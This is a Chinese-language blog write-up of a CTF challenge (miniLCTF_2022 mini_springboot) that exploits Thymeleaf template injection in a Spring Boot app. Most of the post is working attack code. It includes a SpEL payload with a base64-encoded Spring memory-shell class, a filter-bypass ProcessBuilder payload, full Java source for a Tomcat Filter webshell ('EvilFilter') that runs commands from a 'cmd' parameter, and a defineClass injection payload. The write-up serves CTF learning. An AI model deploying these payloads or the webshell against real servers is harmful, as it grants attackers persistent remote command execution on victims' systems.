__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("yv66vgAAADQAlQoABgBPCABQCgAGAFEIADIHAFIHAFMHAFQKAAUAVQoABwBWBwBXCAA0BwBYCgAFAFkHAFoIAFsKAA4AXAcAXQcAXgoAEQBfBwBgCgAUAGEKAAoATwoABwBiCABjBwBkCgAZAGUIAGYHAGcKAGgAaQgARggAagoAaABrCgBsAG0KABwAbggAbwoAHABwCgAcAHEHAHIJAHMAdAoAJgB1AQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB5MU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbDsBAAhkb0luamVjdAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmc7AQAPcmVnaXN0ZXJNYXBwaW5nAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAGHBhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAF21ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAScmVxdWVzdE1hcHBpbmdJbmZvAQA_TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcBABJMamF2YS9sYW5nL09iamVjdDsBAANtc2cBABJMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBTBwBYBwBkAQA9KExqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5OwEAA2NtZAEACmV4ZWNSZXN1bHQBAApFeGNlcHRpb25zBwB2AQAiUnVudGltZVZpc2libGVQYXJhbWV0ZXJBbm5vdGF0aW9ucwEANkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdFBhcmFtOwEABXZhbHVlAQAKU291cmNlRmlsZQEAIVNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGwuamF2YQwAKQAqAQAMaW5qZWN0LXN0YXJ0DAB3AHgBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kDAB5AHoMAHsAfAEAHFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGwBABBqYXZhL2xhbmcvU3RyaW5nDAB9AHoBAEZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQACLyoMACkAfgEATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb24BADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZAwAKQB_AQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwAKQCADACBAIIBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24MAIMAKgEADGluamVjdC1lcnJvcgEAEWphdmEvdXRpbC9TY2FubmVyBwCEDACFAIYBAAIvYwwAhwCIBwCJDACKAIsMACkAjAEAAlxBDACNAI4MAI8AkAEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcAkQwAkgCTDAApAJQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQARZ2V0RGVjbGFyZWRNZXRob2QBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQA7KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2Q7KVYBAfYoTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXJhbXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vSGVhZGVyc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Qcm9kdWNlc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0Q29uZGl0aW9uOylWAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBACNvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1cwEAAk9LAQAlTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOwEAOihMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7KVYAIQAKAAYAAAAAAAMAAQApACoAAQArAAAALwABAAEAAAAFKrcAAbEAAAACACwAAAAGAAEAAAAMAC0AAAAMAAEAAAAFAC4ALwAAAAkAMAAxAAEAKwAAAVkACQAHAAAAlBICTCq2AAMSBAa9AAVZAxIGU1kEEgZTWQUSB1O2AAhNLAS2AAkSChILBL0ABVkDEgxTtgANTrsADlkEvQAMWQMSD1O3ABA6BLsAEVkDvQAStwATOgW7ABRZGQQZBQEBAQEBtwAVOgYsKga9AAZZAxkGU1kEuwAKWbcAFlNZBS1TtgAXVxIYTKcAC00stgAaEhtMK7AAAQADAIcAigAZAAMALAAAADoADgAAAA4AAwAQACAAEQAlABIANgATAEgAFABVABUAZwAWAIQAFwCHABsAigAYAIsAGQCPABoAkgAcAC0AAABSAAgAIABnADIAMwACADYAUQA0ADMAAwBIAD8ANQA2AAQAVQAyADcAOAAFAGcAIAA5ADoABgCLAAcAOwA8AAIAAACUAD0APgAAAAMAkQA_AEAAAQBBAAAAEwAC_wCKAAIHAEIHAEMAAQcARAcAAQA0AEUAAwArAAAAeQAHAAMAAAA3uwAcWbgAHQa9AAxZAxIeU1kEEh9TWQUrU7YAILYAIbcAIhIjtgAktgAlTbsAJlkssgAntwAosAAAAAIALAAAAAoAAgAAACAAKwAhAC0AAAAgAAMAAAA3AC4ALwAAAAAANwBGAEAAAQArAAwARwBAAAIASAAAAAQAAQBJAEoAAAAMAQABAEsAAQBMcwBGAAEATQAAAAIATg=="),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::.x

参考:
网鼎CTF之findIT题解—Spring通用MemShell改造

[miniLCTF_2022]mini_springboot

题目地址:https://github.com/XDSEC/miniLCTF_2022

可以看到很明显的Thymeleaf 模板注入,但是存在一个filter过滤器

如果匹配到new或者untime就会直接输出hack,其实可以直接大小写绕过,反射调用等等方法,这里直接ProcessBuilder执行命令

__${New ProcessBuilder("calc").start()}__::.x

能执行命令,但没有回显,十分的不方便
我们知道java的最终奥义都是打内存马的,存在Tomcat环境,直接使用Tomcat的Filter内存马

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;
import javax.servlet.Filter;

public class EvilFilter extends AbstractTranslet implements Filter{
    static{
        try {
            final String name = "shell";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(name) == null) {
                Filter filter = new EvilFilter();

                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());

                standardContext.addFilterDef(filterDef);

                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());

                standardContext.addFilterMapBefore(filterMap);

                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

                filterConfigs.put(name, filterConfig);
            }
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException{}
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException,ServletException{
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("cmd") != null){
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
            String output = scanner.hasNext() ? scanner.next() : "";
            servletResponse.getWriter().write(output);
            servletResponse.getWriter().flush();
            return;
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }
    @Override
    public void destroy() {}
}

最后使用ReflectUtils反射调用defineClass

${T(org.springframework.cglib.core.ReflectUtils).defineClass('EvilFilter',T(org.springframework.util.Base64Utils).decodeFromUrlSafeString('yv66vgAAA....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())}

参考:
Thymeleaf SSTI漏洞分析


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!